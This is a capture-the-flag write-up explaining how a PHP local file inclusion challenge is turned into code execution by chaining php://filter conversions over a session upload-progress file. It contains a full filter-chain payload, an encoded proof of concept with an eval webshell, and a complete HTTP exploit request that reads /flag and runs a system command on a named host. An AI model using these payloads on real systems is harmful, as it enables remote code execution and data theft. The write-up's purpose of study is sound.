Because of allow_url_include=0
, we can't remotely include files, so the problem solving method of the topic is obvious: Using a local file including to construct a webshell or just including flag file
At first, 🍊 did not give the environmental information. I tried a bug that Wang Yihang discovered last year, it causes PHP >=7.0 a segmentfault.
https://www.jianshu.com/p/dfd049924258
The poc is
php://filter/string.strip_tags/resource=xxx
PS: It is caused by a NULL pointer
The latest version of the local environment ubuntu16+php7.1(apt-get)
is successful pwned, because the temporary files in tmp
are not recycled, so you can use local file including to get shell.
However, the remote server does not always have an exception. Later, the author suggested that the environment of the topic was ubuntu18+php7.2
. I opened a cloud host in the corresponding environment and found that this method is unreasonable. There are two reasons:
PHP7.2
fixed the bug caused by the null pointerubuntu17
uses systemd to host apache and php-fpm, and the tmp directory is separated.Later, I tried some other PHP native wrappers.But i didn't find a way to solve the problem. Finally, I notice the wrapper php://
's filter.
The known part of the flag is the hitcon
(6 bytes) at the beginning, and the required file starts with @<?php
which is also 6 bytes.
I accidentally saw an article when I searched for related knowledge about local file including.
https://gynvael.coldwind.pl/?lang=en&id=671
The challenge using filter to encode the flag , so begining bytes are turned into a gif header, then the flag can be read properly.
Later I ruled out this method, because even if it is converted to @<?php
, it will be included as PHP code, and the latter part of flag won't be obtained.
Later, when I detected any strange system files in ubuntu18+PHP7.2
, I found that the PHP7.2
session file storage path is /var/lib/php/sessions
. PHP
downloaded trough apt-get
is default set to open session.upload
, so there is a problem-solving direction.
Here is an example.
https://xz.aliyun.com/t/2148#toc-2
However, there is still a problem to be solved. The progress file generated by session.upload
starts with upload_progess_
So a solution is to use the above mentioned ideas: byte collision, but the complexity of collision 6 bytes is quite large and we should pay attention to the following bytes for avoiding PHP execution errors, the number of bytes required to collide is greater than 6 Bytes, obviously this solution is not working.
Here are some php://
filters which can make data loss
string.strip_tags
consumed
convert.base64-decode (inappropriate use)
So I thought we only need to collide the first byte to < (the beginning of the tag), then the controllable part closes it, then use strip_tags once, and then decode the remaining fully controllable content.
The range that can be decoded into <
by base64
is PA
-PP
, and after rot13
encoding is CN
-CC
, so as long as the first two bytes are in any of the above ranges, it can be eventually decoded to <
The operations we can use are
Convert.iconv.* (conversion encoding)
Convert.base64-en(de)code
String.rot13
And the process must remain reversible, base64decode will lose information if the block is not full or a block has unsolvable characters, so we need to keep the total number of bytes unchanged, the initial data is in the form of block full, base64 operation (encode, decode) requires symmetry.
There are two particularly useful code conversions
convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.UCS-4LE.UCS-4BE
Because the data stored in the high and low bits is reversed, it can cause 2 bytes and 4 bytes of reverse operation.
The next step is to encode upload_progress_xx
multiple times to construct a base64 string. If there are C
or P
in the first four bytes, and the range of the following bytes is within the range mentioned above, then we can use Two-byte, Four-byte reverse-order operation to promote them to the first byte and the second byte respectively
ABCA => ACBA => CAAB
Through constant experimentation, I get the following result
php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd
Its corresponding reverse algorithm is
php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx
Then use reverse algorithm encoding >
+(encoded controllable part)
, the controllable part is @<?php eval(xxx);?>//aaa...
The final encoding method I used here is convert.iconv.UTF8.CP1025
So the whole data is
'upload_progress_aa'+reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...'))
After challenge program processing
'<balabala...'+'>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')
After filter strip_tags
iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')
After convert.iconv.CP1025.UTF8
@<?php eval(xxx);?>//aaa...
The following is the process that is needed to construct POC.
iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')
reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')
Poc:
data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF
Here is the result of this poc.
var_dump(file($_GET['orange']));
The exploit (session.upload+lfi)(using burpsuite bruteforce module)
POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<data info of POC>
<long padding (guarantee to generate upload progress file)>
------WebKitFormBoundary2rwkUEtFdqhGMHqV--